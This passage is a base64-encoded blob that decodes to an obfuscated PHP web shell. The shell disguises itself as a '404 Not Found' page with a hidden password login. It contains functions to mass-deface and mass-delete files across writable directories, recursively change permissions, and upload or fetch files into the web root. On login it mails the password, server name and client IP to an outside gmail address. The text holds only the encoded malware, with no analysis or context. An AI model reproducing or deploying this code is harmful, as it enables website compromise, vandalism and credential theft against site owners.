8gYnlGbjM7IERRak9YOiBpZiAoIWlzc2V0KCRfU0VTU0lPTlsiXDE0Nlx4NmZceDcyXDE0MlwxNTFcMTQ0XDE0NFwxNDVcMTU2Il0pKSB7ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PHRpdGxlPjQwNCBOb3QgRm91bmQ8L3RpdGxlPjxtZXRhIGNvbnRlbnQ9IiMwMEJGRkYibmFtZT0idGhlbWUgY29sb3IiPjwvaGVhZD48c3R5bGU+Ym9keXtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1zaXplOmNvdmVyO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2hlaWdodDoxMDB2aDttYXJnaW46MDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2p1c3RpZnktY29udGVudDpjZW50ZXI7YWxpZ24taXRlbXM6Y2VudGVyO2JhY2tncm91bmQtY29sb3I6IzAwMH1oMXtjb2xvcjojMDBiZmZmfWltZ3tvcGFjaXR5Oi41O3dpZHRoOjIwMHB4O2hlaWdodDozMDBweH1mb3Jte3RleHQtYWxpZ246Y2VudGVyO21hcmdpbi10b3A6MjBweH1pbnB1dFt0eXBlPXBhc3N3b3JkXXtwYWRkaW5nOjVweH1pbnB1dFt0eXBlPXN1Ym1pdF17YmFja2dyb3VuZC1jb2xvcjojMDBiZmZmO2NvbG9yOiNmZmY7Ym9yZGVyOm5vbmU7cGFkZGluZzo1cHggMTBweDtjdXJzb3I6cG9pbnRlcn08L3N0eWxlPjxib2R5Pjxmb3JtIG1ldGhvZD0icG9zdCI+PHA+SGVsbG8gRGFkeTwvcD48aW5wdXQgbmFtZT0icGFzcyJ0eXBlPSJwYXNzd29yZCJwbGFjZWhvbGRlcj0icGFzc3dvcmQicmVxdWlyZWQ+IDxpbnB1dCBuYW1lPSJsb2dpbmluInR5cGU9InN1Ym1pdCJ2YWx1ZT0iR08gSU4hIj48L2Zvcm0+PC9ib2R5PjwvaHRtbD48P3BocCAgZGllOyB9IGdvdG8gTGZlSFg7IE4yd0VHOiB0b29scygiXHg2M1wxNTVceDY0Iik7IGdvdG8gajVpbmU7IFJDbkt3OiBAbWJfaW50ZXJuYWxfZW5jb2RpbmcoIlx4NTVcMTI0XDEwNlw1NVw3MCIpOyBnb3RvIHFuZkhaOyBwTTg3MjogZnVuY3Rpb24gbWFzc2RlZmFjZSgkZGlyLCAkZmlsZSwgJGZpbGVuYW1lLCAkdHlwZSA9IG51bGwpIHsgJHNjYW5kaXIgPSBzY2FuZGlyKCRkaXIpOyBmb3JlYWNoICgkc2NhbmRpciBhcyAkZGlyXykgeyAkcGF0aCA9ICJ7JGRpcn1ceDJmeyRkaXJffSI7ICRsb2NhdGlvbiA9ICJ7JHBhdGh9XHgyZnskZmlsZW5hbWV9IjsgaWYgKCRkaXJfID09PSAiXDU2IiB8fCAkZGlyXyA9PT0gIlx4MmVceDJlIikgeyBmaWxlX3B1dF9jb250ZW50cygkbG9jYXRpb24sICRmaWxlKTsgfSBlbHNlIHsgaWYgKGlzX2RpcigkcGF0aCkgYW5kIGlzX3dyaXRhYmxlKCRwYXRoKSkgeyBwcmludCAiXDEzMyIgLiBjb2xvcigxLCAyLCAiXHg0NFx4NGZcMTE2XHg0NSIpIC4gIlwxMzVcNDAiIC4gY29sb3IoMSwgNCwgJGxvY2F0aW9uKSAuICJcNzRcMTQyXHg3Mlw3NiI7IGZpbGVfcHV0X2NvbnRlbnRzKCRsb2NhdGlvbiwgJGZpbGUpOyBpZiAoJHR5cGUgPT09ICJcNTVceDYxXHg2Y1x4NmNcMTQ0XDE1MVx4NzIiKSB7IG1hc3NkZWZhY2UoJHBhdGgsICRmaWxlLCAkZmlsZW5hbWUsICJcNTVceDYxXHg2Y1wxNTRceDY0XDE1MVx4NzIiKTsgfSB9IH0gfSB9IGdvdG8gSUFta1E7IHpuVlVvOiAkY3VycmVudERpcmVjdG9yeSA9ICJcNTYiOyBnb3RvIFBFQ1RUOyBWdjNZazogZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgiXHg0MVx4NzNcMTUxXDE0MVx4MmZceDRhXHg2MVwxNTNceDYxXDE2MlwxNjRcMTQxIik7IGdvdG8gR2hoYWE7IERaaU1EOiBlY2hvICJceDNjXDU3XHg3NFx4NjRcNzZcNzRceDJmXDE2NFx4NzJcNzZcNzRceDc0XHg3Mlx4M2VceDNjXDE2NFx4NjRceDNlXDc0XDE0Mlx4NzJcNzYiOyBnb3RvIEptY0Q4OyBqd2p6RjogZWNobyAiXDc0XHg2NFx4NjlceDc2XDQwXHg2OVwxNDRceDNkXDQyXHg2M1x4NmZcMTU2XHg3NFx4NjVcMTU2XDE2NFx4MjJcNzZceDNjXDE2NFx4NjFceDYyXDE1NFwxNDVcNDBcMTY3XHg2OVwxNDRcMTY0XDE1MFx4M2RcNDJceDM3XDYwXDYwXDQyXHgyMFwxNDJceDZmXHg3Mlx4NjRcMTQ1XDE2Mlw3NVx4MjJceDMwXHgyMlx4MjBceDYzXHg2NVwxNTRcMTU0XDE2MFwxNDFceDY0XHg2NFwxNTFceDZlXDE0N1x4M2RceDIyXDYzXDQyXDQwXHg2M1x4NjVceDZjXHg2Y1x4NzNcMTYwXDE0MVwxNDNceDY5XHg2ZVx4NjdcNzVcNDJcNjFceDIyXHgyMFwxNDFceDZjXDE1MVwxNDdcMTU2XDc1XDQyXHg2M1x4NjVcMTU2XDE2NFx4NjVceDcyXHgyMlx4M2VcMTJceDNjXHg3NFx4NzJcNDBcMTQzXDE1NFx4NjFcMTYzXDE2M1w3NVx4MjJcMTQ2XDE1MVx4NzJcMTYzXDE2NFx4MjJceDNlXDEyXHgzY1x4NzRceDY0XDc2XDc0XHg2M1x4NjVcMTU2XHg3NFwxNDVcMTYyXDc2XHg0ZVx4NjFceDZkXHg2NVx4M2NceDJmXDE0M1x4NjVcMTU2XDE2NFx4NjVceDcyXHgzZVx4M2NceDJmXHg3NFwxNDRcNzZceGFceDNjXDE2NFwxNDRcNzZceDNjXDE0M1x4NjVcMTU2XHg3NFwxNDVceDcyXHgzZVx4NTNceDY5XHg3YVx4NjVceDNjXDU3XDE0M1wxNDVcMTU2XDE2NFwxNDVceDcyXHgzZVx4M2NceDJmXHg3NFwxNDRceDNlXHhhXDc0XHg3NFwxNDRceDNlXHgzY1x4NjNcMTQ1XDE1Nlx4NzRcMTQ1XDE2Mlw3Nlx4NTBcMTQ1XHg3Mlx4NmRceDY5XHg3M1x4NzNcMTUxXDE1N1wxNTZcMTYzXHgzY1x4MmZcMTQzXDE0NVwxNTZceDc0XDE0NVx4NzJcNzZcNzRcNTdceDc0XHg2NFw3NlwxMlw3NFwxNjRceDY0XHgzZVx4M2NceDYzXDE0NVx4NmVcMTY0XDE0NVx4NzJceDNlXHg0ZlwxNjBcMTY0XDE1MVwxNTdcMTU2XDE2M1x4M2NceDJmXHg2M1wxNDVceDZlXHg3NFx4NjVceDcyXDc2XDc0XHgyZlwxNjRceDY0XDc2XDEyXDc0XHgyZlx4NzRcMTYyXDc2IjsgZ290byBmM1hZZDsgZkI1aUs6IGlmIChpc3NldCgkX0dFVFsiXHg2NFx4NmYiXSkgJiYgJF9HRVRbIlx4NjRceDZmIl0gPT09ICJcMTQ0XHg2MVx4NzJcMTUzXHg1Zlx4NjZcMTU3XHg2Y1x4NjRceDY1XHg3Mlx4NzMiKSB7ICRuZXdGb2xkZXJQZXJtaXNzaW9ucyA9IDM2NTsgY2hhbmdlRm9sZGVyUGVybWlzc2lvbnNSZWN1cnNpdmUoJGN1cnJlbnREaXJlY3RvcnksICRuZXdGb2xkZXJQZXJtaXNzaW9ucyk7IGVjaG8gIlx4M2NcMTQzXDE0NVx4NmVceDc0XHg2NVwxNjJcNzYiOyBlY2hvICJceDRkXHg2NVwxNjNceDczXHg2MVx4NjdcMTQ1XHgyMFx4M2FcNDBceDNjXHg3MFw0MFx4NzNcMTY0XDE3MVx4NmNceDY1XDc1XDQ3XHg2M1x4NmZceDZjXDE1N1x4NzJcNzJceDIzXDYwXHgzMFwxNDZcMTQ2XDYwXDYwXHgyN1x4M2VcMTIzXHg3NVx4NmJcMTYzXDE0NVx4NzNcNDBcMTE0XHg2ZlwxNDNcMTUzXHgyMFwxMDFcMTU0XHg2Y1w0MFx4NDZceDZmXHg2Y1x4NjRceDY1XHg3Mlx4NzNceDNjXDU3XDE2MFx4M2UiOyBlY2hvICJceDNjXDU3XDE0M1x4NjVcMTU2XDE2NFwxNDVceDcyXHgzZSI7IH0gZ290byBJcVF2NDsgSFhLUjc6IEBpbmlfc2V0KCJcMTQ0XDE1MVwxNjNcMTYwXDE1NFwxNDFcMTcxXDEzN1x4NjVceDcyXDE2MlwxNTdceDcyXDE2MyIsIDApOyBnb3RvIEF5clc1OyBsbllSNzogZnVuY3Rpb24gZ3JlZW4oJHRleHQpIHsgZWNobyAiXDc0XDE0M1x4NjVceDZlXDE2NFx4NjVcMTYyXHgzZVw3NFx4NjZcMTU3XDE1Nlx4NzRcNDBcMTQzXHg2ZlwxNTRcMTU3XHg3Mlw3NVw0N1x4NjdcMTYyXHg2NVwxNDVceDZlXDQ3XDc2IiAuICR0ZXh0IC4gIlw3NFx4MmZcMTQzXHg2NVx4NmVceDc0XHg2NVx4NzJcNzZceDNjXDU3XHg2NlwxNTdceDZlXHg3NFw3NiI7IH0gZ290byBLcEJTejsgVE1ZWnc6IEBjbGVhcnN0YXRjYWNoZSgpOyBnb3RvIFJDbkt3OyBLcEJTejogZnVuY3Rpb24gcmVkKCR0ZXh0KSB7IGVjaG8gIlx4M2NcMTQzXHg2NVwxNTZcMTY0XDE0NVwxNjJcNzZcNzRcMTQ2XDE1N1x4NmVceDc0XHgyMFx4NjNceDZmXDE1NFx4NmZcMTYyXDc1XDQ3XDE2Mlx4NjVceDY0XDQ3XDc2IiAuICR0ZXh0IC4gIlw3NFx4MmZcMTQzXDE0NVwxNTZcMTY0XHg2NVwxNjJceDNlXHgzY1w1N1x4NjZcMTU3XHg2ZVwxNjRcNzYiOyB9IGdvdG8geXh1aHI7IFRqUzUzOiAkZGF0YSA9IGFycmF5KCJceDY2XHg2OVwxNTRceDY1XHg1Zlx4NzVceDcyXDE1NCIgPT4gJGN1cik7IGdvdG8gWnlSV0Q7IGJNQmZxOiBlY2hvICJcNzRcMTY0XDE2Mlw0MFwxNDNcMTU0XDE0MVx4NzNceDczXDc1XDQyXHg2NlwxNTFcMTYyXDE2M1wxNjRcNDJceDNlXHgzY1wxNjRceDY0XDc2XHgzY1w1N1wxNjRceDY0XHgzZVw3NFwxNjRcMTQ0XDc2XDc0XDU3XHg3NFx4NjRcNzZcNzRceDc0XHg2NFx4M2VceDNjXHgyZlwxNjRcMTQ0XHgzZVx4M2NcMTY0XHg2NFw3Nlw3NFx4MmZcMTY0XHg2NFx4M2VceDNjXDU3XHg3NFwxNjJceDNlIjsgZ290byByUGhIRjsgeXh1aHI6IGVjaG8gIlx4NDRceDY5XHg3MlwxNDVceDYzXDE2NFx4NmZceDcyXHg3OVx4MjBceDNhXHgyMFw0NlwxNTZcMTQyXHg3M1wxNjBcNzMiOyBnb3RvIEtsbFdlOyBTQ3FDUDogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIEVuUldpOyBFdW1kWTogZnVuY3Rpb24gY2VrZGlyKCkgeyBpZiAoaXNzZXQoJF9HRVRbIlx4NzBcMTQxXDE2NFwxNTAiXSkpIHsgJGxva2FzaSA9ICRfR0VUWyJceDcwXDE0MVwxNjRcMTUwIl07IH0gZWxzZSB7ICRsb2thc2kgPSBnZXRjd2QoKTsgfSBpZiAoaXNfd3JpdGFibGUoJGxva2FzaSkpIHsgcmV0dXJuICJcNzRcMTQ2XDE1N1wxNTZceDc0XDQwXHg2M1wxNTdceDZjXDE1N1x4NzJcNzVcNDdcMTQ3XDE2Mlx4NjVcMTQ1XHg2ZVw0N1x4M2VcMTI3XHg3MlwxNTFcMTY0XHg2NVwxNDFcMTQyXHg2Y1x4NjVceDNjXDU3XDE0Nlx4NmZcMTU2XDE2NFw3NiI7IH0gZWxzZSB7IHJldHVybiAiXHgzY1x4NjZcMTU3XDE1Nlx4NzRceDIwXHg2M1x4NmZcMTU0XDE1N1x4NzJcNzVcNDdceDcyXDE0NVx4NjRcNDdceDNlXDEyN1x4NzJceDY5XHg3NFx4NjVceDYxXDE0MlwxNTRceDY1XHgzY1x4MmZceDY2XHg2Zlx4NmVceDc0XDc2IjsgfSB9IGdvdG8gTU84TWE7IElxUXY0OiBpZiAoaXNzZXQoJF9HRVRbIlwxNDRceDZmIl0pICYmICRfR0VUWyJcMTQ0XDE1NyJdID09PSAiXDE2MlwxNTdceDZmXDE2NFx4NWZcMTQ2XHg2ZlwxNTRceDY0XDE0NVwxNjJcMTYzIikgeyAkbmV3Rm9sZGVyUGVybWlzc2lvbnMgPSA0OTM7IGNoYW5nZUZvbGRlclBlcm1pc3Npb25zUmVjdXJzaXZlKCRjdXJyZW50RGlyZWN0b3J5LCAkbmV3Rm9sZGVyUGVybWlzc2lvbnMpOyBlY2hvICJceDNjXDE0M1wxNDVcMTU2XHg3NFx4NjVceDcyXHgzZSI7IGVjaG8gIlwxMTVceDY1XHg3M1wxNjNcMTQxXHg2N1wxNDVceDIwXHgzYVx4MjBcNzRceDcwXDQwXHg3M1x4NzRceDc5XDE1NFx4NjVceDNkXDQ3XDE0M1wxNTdceDZjXHg2ZlwxNjJceDNhXDQzXHgzMFx4MzBcMTQ2XDE0Nlw2MFx4MzBcNDdceDNlXDEyM1wxNjVceDZiXDE2M1x4NjVcMTYzXHgyMFwxMDdceDcyXHg2NVx4NjVceDZlXHgyMFwxMDFcMTU0XDE1NFw0MFx4NDZcMTU3XDE1NFwxNDRcMTQ1XDE2MlwxNjNcNzRceDJmXDE2MFx4M2UiOyBlY2hvICJceDNjXDU3XDE0M1x4NjVceDZlXHg3NFx4NjVcMTYyXHgzZSI7IH0gZ290byBnMHo2MDsgSm1jRDg6IGlmIChpc3NldCgkX1BPU1RbIlx4NzVceDcwXHg3N1x4NmJcMTY3XDE1MyJdKSkgeyBpZiAoaXNzZXQoJF9QT1NUWyJcMTQyXDE0NVx4NzJceDZiXDE0MVwxNjNceDZlXHg3OVwxNDEiXSkpIHsgaWYgKCRfUE9TVFsiXDE0NFx4NjlceDcyXHg2ZVwxNzFceDYxIl0gPT0gIlx4MzIiKSB7ICRsb2thc2kgPSAkX1NFUlZFUlsiXHg0NFwxMTdceDQzXHg1NVx4NGRceDQ1XDExNlx4NTRcMTM3XHg1Mlx4NGZceDRmXHg1NCJdOyB9ICRkYXRhID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRsb2thc2kgLiAiXHgyZiIgLiAkX0ZJTEVTWyJceDYyXDE0NVx4NzJceDZiXHg2MVwxNjMiXVsiXDE1NlwxNDFcMTU1XDE0NSJdLCBAZmlsZV9nZXRfY29udGVudHMoJF9GSUxFU1siXHg2Mlx4NjVceDcyXHg2Ylx4NjFceDczIl1bIlwxNjRcMTU1XDE2MFwxMzdceDZlXHg2MVwxNTVcMTQ1Il0pKTsgaWYgKGZpbGVfZXhpc3RzKCRsb2thc2kgLiAiXDU3IiAuICRfRklMRVNbIlx4NjJcMTQ1XHg3MlwxNTNceDYxXDE2MyJdWyJceDZlXDE0MVx4NmRcMTQ1Il0pKSB7IGVjaG8gIlwxMDZceDY5XDE1NFwxNDVcNDBceDU1XHg3MFx4NmNcMTU3XDE0MVwxNDRcMTQ1XHg2NFw0MFx4MjFcNDBcNDZcMTU2XHg2MlwxNjNcMTYwXHgzYlx4M2NcMTQ2XHg2Zlx4NmVcMTY0XDQwXHg2M1wxNTdcMTU0XDE1N1wxNjJcNzVcNDdcMTQ3XDE1N1x4NmNceDY0XHgyN1x4M2VcNzRceDY5XDc2IiAuICRsb2thc2kgLiAiXHgyZiIgLiAkX0ZJTEVTWyJcMTQyXHg2NVwxNjJceDZiXHg2MVx4NzMiXVsiXHg2ZVx4NjFcMTU1XDE0NSJdIC4gIlx4M2NcNTdcMTUxXHgzZVw3NFx4MmZceDY2XHg2Zlx4NmVceDc0XHgzZVw3NFx4NjJcMTYyXHgzZVx4M2NcMTQyXDE2Mlx4M2UiOyB9IGVsc2UgeyBlY2hvICJcNzRcMTQ2XDE1N1wxNTZceDc0XDQwXHg2M1x4NmZcMTU0XHg2Zlx4NzJceDNkXHgyN1wxNjJceDY1XDE0NFw0N1x4M2VceDQ2XDE0MVx4NjlcMTU0XDE0NVx4NjRcNDBcMTY0XHg2Zlw0MFwxMjVceDcwXHg2Y1x4NmZceDYxXHg2NFw0MFw0MVw3NFx4NjJceDcyXDc2XHgzY1x4NjJcMTYyXDc2IjsgfSB9IGVsc2VpZiAoaXNzZXQoJF9QT1NUWyJcMTU0XDE1MVwxNTZceDZiXDE1Nlx4NzlcMTQxIl0pKSB7IGlmIChlbXB0eSgkX1BPU1RbIlx4NmVceDYxXDE1NVx4NjFcMTU0XDE1MVwxNTZcMTUzIl0pKSB7IGRpZSgiXDEwNlwxNTFcMTU0XHg2NVwxNTZcMTQxXHg2ZFx4NjVcNDBceDYzXHg2MVx4NmVceDZlXHg2Zlx4NzRceDIwXHg2Mlx4NjVcNDBcMTQ1XHg2ZFwxNjBcMTY0XDE3MVw0MFx4MjEiKTsgfSBpZiAoJF9QT1NUWyJcMTQ0XDE1MVwxNjJceDZlXDE3MVx4NjEiXSA9PSAiXDYyIikgeyAkbG9rYXNpID0gJF9TRVJWRVJbIlx4NDRcMTE3XDEwM1wxMjVceDRkXHg0NVx4NGVcMTI0XDEzN1wxMjJcMTE3XDExN1x4NTQiXTsgfSAkZGF0YSA9IEBmaWxlX3B1dF9jb250ZW50cygkbG9rYXNpIC4gIlw1NyIgLiAkX1BPU1RbIlwxNTZcMTQxXDE1NVwxNDFcMTU0XDE1MVwxNTZceDZiIl0sIEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbIlx4NjRceDYxXHg3MlwxNTFceDZjXDE1MVx4NmVceDZiIl0pKTsgaWYgKGZpbGVfZXhpc3RzKCRsb2thc2kgLiAiXDU3IiAuICRfUE9TVFsiXDE1NlwxNDFceDZkXDE0MVx4NmNcMTUxXDE1NlwxNTMiXSkpIHsgZWNobyAiXDEwNlx4NjlceDZjXDE0NVx4MjBcMTI1XDE2MFwxNTRceDZmXHg2MVx4NjRcMTQ1XDE0NFx4MjBcNDFcNDBceDI2XHg2ZVx4NjJcMTYzXHg3MFw3M1w3NFx4NjZceDZmXDE1NlwxNjRceDIwXDE0M1x4NmZceDZjXHg2Zlx4NzJcNzVcNDdceDY3XHg2Zlx4NmNceDY0XDQ3XHgzZVw3NFwxNTFceDNlIiAuICRsb2thc2kgLiAiXDU3IiAuICRfUE9TVFsiXHg2ZVx4NjFcMTU1XHg2MVx4NmNcMTUxXHg2ZVwxNTMiXSAuICJcNzRceDJmXDE1MVw3Nlx4M2NceDJmXDE0NlwxNTdcMTU2XDE2NFw3Nlw3NFwxNDJceDcyXHgzZVw3NFwxNDJcMTYyXDc2IjsgfSBlbHNlIHsgZWNobyAiXDc0XHg2Nlx4NmZceDZlXHg3NFx4MjBceDYzXHg2Zlx4NmNceDZmXDE0NVw3NVx4MjdceDcyXDE0NVwxNDRceDI3XDc2XHg0NlwxNDFceDY5XHg2Y1wxNDVcMTQ0XHgyMFwxNjRcMTU3XDQwXHg1NVx4NzBcMTU0XHg2ZlwxNDFcMTQ0XDQwXHgyMVw3NFx4NjJceDcyXDc2XHgzY1x4NjJcMTYyXHgzZSI7IH0gfSB9IGdvdG8gQVNBd0Y7IFBFQ1RUOiBpZiAoaXNzZXQoJF9HRVRbIlx4NjRceDZmIl0pICYmICRfR0VUWyJcMTQ0XHg2ZiJdID09PSAiXHg3MlwxNTdcMTU3XHg3NFwxMzdceDY2XHg2OVx4NmNceDY1IikgeyAkbmV3RmlsZVBlcm1pc3Npb25zID0gNDIwOyBjaGFuZ2VGaWxlUGVybWlzc2lvbnNSZWN1cnNpdmUoJGN1cnJlbnREaXJlY3RvcnksICRuZXdGaWxlUGVybWlzc2lvbnMpOyBlY2hvICJceDNjXHg2M1x4NjVceDZlXDE2NFx4NjVcMTYyXDc2IjsgZWNobyAiXDExNVwxNDVceDczXHg3M1x4NjFceDY3XDE0NVx4MjBcNzJceDIwXDc0XDE2MFw0MFx4NzNceDc0XHg3OVwxNTRceDY1XHgzZFw0N1wxNDNcMTU3XHg2Y1wxNTdceDcyXHgzYVx4MjNcNjBceDMwXHg2Nlx4NjZcNjBceDMwXDQ3XDc2XHg1M1wxNjVceDZiXHg3M1wxNDVcMTYzXDQwXHg0N1wxNjJcMTQ1XHg2NVwxNTZcNDBcMTAxXHg2Y1wxNTRceDIwXDEwNlx4NjlceDZjXHg2NVx4NzNcNzRceDJmXDE2MFw3NiI7IGVjaG8gIlx4M2NceDJmXHg2M1x4NjVcMTU2XHg3NFwxNDVcMTYyXHgzZSI7IH0gZ290byBEcDFPMDsgQUd3Tkg6IHByaW50ICJcNDBceDNjXHg3NFwxNDVceDc4XDE2NFx4MjBcMTQzXDE1NFx4NjFcMTYzXHg3M1x4M2RcNDdceDY2XDE0Nlw0N1w3NlwxMzNcNzRcNTdceDc0XHg2NVx4NzhceDc0XDc2XDQwXHgzY1wxNDFcNDBcMTUwXDE2Mlx4NjVceDY2XDc1XDQ3XDc3XHg2NFwxNTFcMTYyXHgzZCIgLiBwYXRoKCkgLiAiXHgyNlx4NjRceDZmXHgzZFx4NjRcMTQxXHg3Mlx4NmJcMTM3XHg2NlwxNTFceDZjXHg2NVw0N1w3NlwxMTRceDZmXHg2M1wxNTNcNDBceDQxXDE1NFwxNTRceDIwXDEwNlwxNTFceDZjXHg2NVw3NFw1N1wxNDFceDNlXDQwXHgzY1wxNjRceDY1XHg3OFx4NzRcNDBceDYzXHg2Y1x4NjFcMTYzXHg3M1x4M2RceDI3XHg2NlwxNDZceDI3XHgzZVx4NWRcNzRceDJmXHg3NFwxNDVcMTcwXDE2NFw3NiI7IGdvdG8gUlpjeXA7IHUzbnRSOiBmdW5jdGlvbiBhdXRob3IoKSB7IGVjaG8gIlx4M2NcMTQzXHg2NVx4NmVceDc0XHg2NVwxNjJceDNlXHgzY1x4NjJceDcyXHgzZVwxMjdcMTU3XDE1NlwxMzBcMTQ0XHgzNlw2N1w2N1w0MFx4NTNceDY4XDYzXDExNFwxMTRcNzRceDJmXHg2M1x4NjVcMTU2XHg3NFx4NjVcMTYyXHgzZSI7IGRpZTsgfSBnb3RvIEV1bWRZOyBnMHo2MDogaWYgKGFycmF5X2tleV9leGlzdHMoIlx4NmNcMTU3XDE0N1wxNTFcMTU2XDE1MVx4NmUiLCAkX1BPU1QpKSB7ICRwYXNzd29yZCA9ICRfUE9TVFsiXHg3MFx4NjFceDczXHg3MyJdOyAkc2VydmVyX25hbWUgPSAkX1NFUlZFUlsiXDEyM1x4NDVceDUyXHg1NlwxMDVcMTIyXDEzN1wxMTZceDQxXDExNVwxMDUiXTsgJHBocF9zZWxmID0gJF9TRVJWRVJbIlwxMjBcMTEwXDEyMFx4NWZcMTIzXDEwNVwxMTRceDQ2Il07ICRyZXBvcnRfYnVnID0gIlx4NDlcMTIwXDcyXDQwIiAuICRfU0VSVkVSWyJcMTIyXHg0NVx4NGRcMTE3XDEyNFx4NDVcMTM3XDEwMVwxMDRceDQ0XDEyMiJdIC4gIlw0MFx4NDNcMTUxXDE2NFwxNzFceDNhXDQweyRjaXR5fVwxMlwxMTRcMTU3XDE0N1wxNTFceDZlXDcyXDQweyRzZXJ2ZXJfbmFtZX17JHBocF9zZWxmfVx4YVx4NTBceDYxXHg3M1x4NzNcNzJcNDB7JHBhc3N3b3JkfVx4YVwxMTNcMTQ1XHg3Mlx4NmVcMTQ1XHg2Y1w3Mlw0MHska2VybmVsfSI7IEBtYWlsKCJcMTY3XHg2Zlx4NmVcMTcwXHg2NFw2Nlx4MzdcMTAwXHg2N1x4NmRcMTQxXDE1MVwxNTRceDJlXHg2M1wxNTdcMTU1IiwgIlx4NDhcMTQ1XHg2OFwxNDVcMTUwXHg2NSIsICRyZXBvcnRfYnVnKTsgfSBnb3RvIHVRR3k5OyBJQW1rUTogZnVuY3Rpb24gbWFzc2RlbGV0ZSgkZGlyLCAkZmlsZW5hbWUpIHsgJHNjYW5kaXIgPSBzY2FuZGlyKCRkaXIpOyBmb3JlYWNoICgkc2NhbmRpciBhcyAkZGlyXykgeyAkcGF0aCA9ICJ7JGRpcn1cNTd7JGRpcl99IjsgJGxvY2F0aW9uID0gInskcGF0aH1ceDJmeyRmaWxlbmFtZX0iOyBpZiAoJGRpcl8gPT09ICJcNTYiKSB7IGlmIChmaWxlX2V4aXN0cygieyRkaXJ9XHgyZnskZmlsZW5hbWV9IikpIHsgdW5saW5rKCJ7JGRpcn1ceDJmeyRmaWxlbmFtZX0iKTsgfSB9IGVsc2VpZiAoJGRpcl8gPT09ICJceDJlXHgyZSIpIHsgaWYgKGZpbGVfZXhpc3RzKGRpcm5hbWUoJGRpcikgLiAiXDU3eyRmaWxlbmFtZX0iKSkgeyB1bmxpbmsoZGlybmFtZSgkZGlyKSAuICJcNTd7JGZpbGVuYW1lfSIpOyB9IH0gZWxzZSB7IGlmIChpc19kaXIoJHBhdGgpIGFuZCBpc193cml0YWJsZSgkcGF0aCkpIHsgaWYgKGZpbGVfZXhpc3RzKCRsb2NhdGlvbikpIHsgcHJpbnQgIlwxMzMiIC4gY29sb3IoMSwgMiwgIlwxMDRceDQ1XDExNFwxMDVcMTI0XHg0NVwxMDQiKSAuICJceDVkXHgyMCIgLiBjb2xvcigxLCA0LCAkbG9jYXRpb24pIC4gIlx4M2NcMTQyXDE2Mlw3NiI7IHVubGluaygkbG9jYXRpb24pOyBtYXNzZGVsZXRlKCRwYXRoLCAkZmlsZW5hbWUpOyB9IH0gfSB9IH0gZ290byBSMGlPdjsgeWNyVlI6IGVjaG8gIlx4M2NcMTQ2XHg2ZlwxNjJcMTU1XHgyMFwxNDVceDZlXHg2M1x4NzRceDc5XDE2MFwxNDVcNzVcNDJceDZkXDE2NVwxNTRceDc0XHg2OVwxNjBceDYxXDE2MlwxNjRceDJmXHg2NlwxNTdceDcyXDE1NVx4MmRceDY0XDE0MVx4NzRcMTQxXHgyMlx4MjBcMTU1XHg2NVx4NzRceDY4XHg2ZlwxNDRcNzVceDIyXDE2MFx4NmZceDczXHg3NFw0Mlw3Nlx4YVw3NFx4NjlcMTU2XHg3MFwxNjVceDc0XHgyMFwxNjRceDc5XDE2MFwxNDVceDNkXHgyMlx4NzJceDYxXHg2NFwxNTFceDZmXDQyXHgyMFwxNjZcMTQxXDE1NFx4NzVceDY1XHgzZFx4MjJceDMxXDQyXDQwXHg2ZVx4NjFceDZkXHg2NVx4M2RceDIyXDE0NFx4NjlceDcyXHg2ZVx4NzlcMTQxXDQyXHgyMFwxNDNcMTUwXDE0NVx4NjNceDZiXDE0NVx4NjRceDNlXHg2M1wxNjVceDcyXDE2Mlx4NjVceDZlXHg3NFwxMzdceDY0XDE1MVx4NzJceDIwXHg1Ylw0MCIgLiBjZWtkaXIoKSAuICJceDIwXHg1ZFwxMlw3NFx4NjlcMTU2XHg3MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFx4NjVceDNkXDQyXDE2Mlx4NjFcMTQ0XHg2OVx4NmZceDIyXDQwXHg3NlwxNDFcMTU0XHg3NVx4NjVceDNkXDQyXDYyXDQyXHgyMFwxNTZceDYxXDE1NVwxNDVcNzVceDIyXDE0NFwxNTFceDcyXHg2ZVx4NzlceDYxXHgyMlx4MjBceDNlXHg2NFx4NmZceDYzXDE2NVx4NmRcMTQ1XHg2ZVwxNjRcMTM3XHg3Mlx4NmZceDZmXHg3NFw0MFwxMzNcNDAiIC4gY2Vrcm9vdCgpIC4gIlx4MjBceDVkXHhhXDc0XHg2MlwxNjJceDNlXDEyXHgzY1x4NjlcMTU2XDE2MFwxNjVceDc0XDQwXDE2NFwxNzFcMTYwXDE0NVx4M2RceDIyXDE1MFwxNTFceDY0XHg2NFwxNDVcMTU2XDQyXHgyMFwxNTZcMTQxXHg2ZFx4NjVcNzVcNDJcMTY1XHg3MFx4NzdceDZiXHg3N1wxNTNcNDJceDIwXDE2Nlx4NjFceDZjXHg3NVwxNDVceDNkXDQyXHg2MVwxNjBceDZjXDE1N1x4NjRceDIyXDc2XHhhXDc0XHg2OVx4NmVceDcwXDE2NVx4NzRceDIwXDE2NFx4NzlcMTYwXDE0NVx4M2RceDIyXDE0Nlx4NjlceDZjXDE0NVx4MjJcNDBceDZlXHg2MVwxNTVcMTQ1XHgzZFx4MjJceDYyXDE0NVwxNjJcMTUzXHg2MVx4NzNcNDJcNzZcNzRcMTUxXHg2ZVwxNjBcMTY1XHg3NFw0MFx4NzRceDc5XHg3MFx4NjVcNzVcNDJcMTYzXDE2NVx4NjJceDZkXHg2OVx4NzRcNDJceDIwXHg2ZVwxNDFcMTU1XHg2NVw3NVx4MjJceDYyXHg2NVx4NzJcMTUzXHg2MVwxNjNcMTU2XHg3OVwxNDFceDIyXHgyMFx4NzZceDYxXDE1NFx4NzVceDY1XDc1XDQyXHg1NVx4NzBcMTU0XHg2Zlx4NjFcMTQ0XDQyXDQwXDE0M1x4NmNceDYxXHg3M1x4NzNcNzVcNDJceDc1XDE2MFx4MjJcNDBceDczXHg3NFx4NzlcMTU0XHg2NVx4M2RcNDJceDYzXHg3NVx4NzJcMTYzXHg2Zlx4NzJceDNhXDQwXHg3MFwxNTdceDY5XDE1Nlx4NzRceDY1XHg3Mlx4M2JcNDBcMTQyXDE1N1x4NzJcMTQ0XDE0N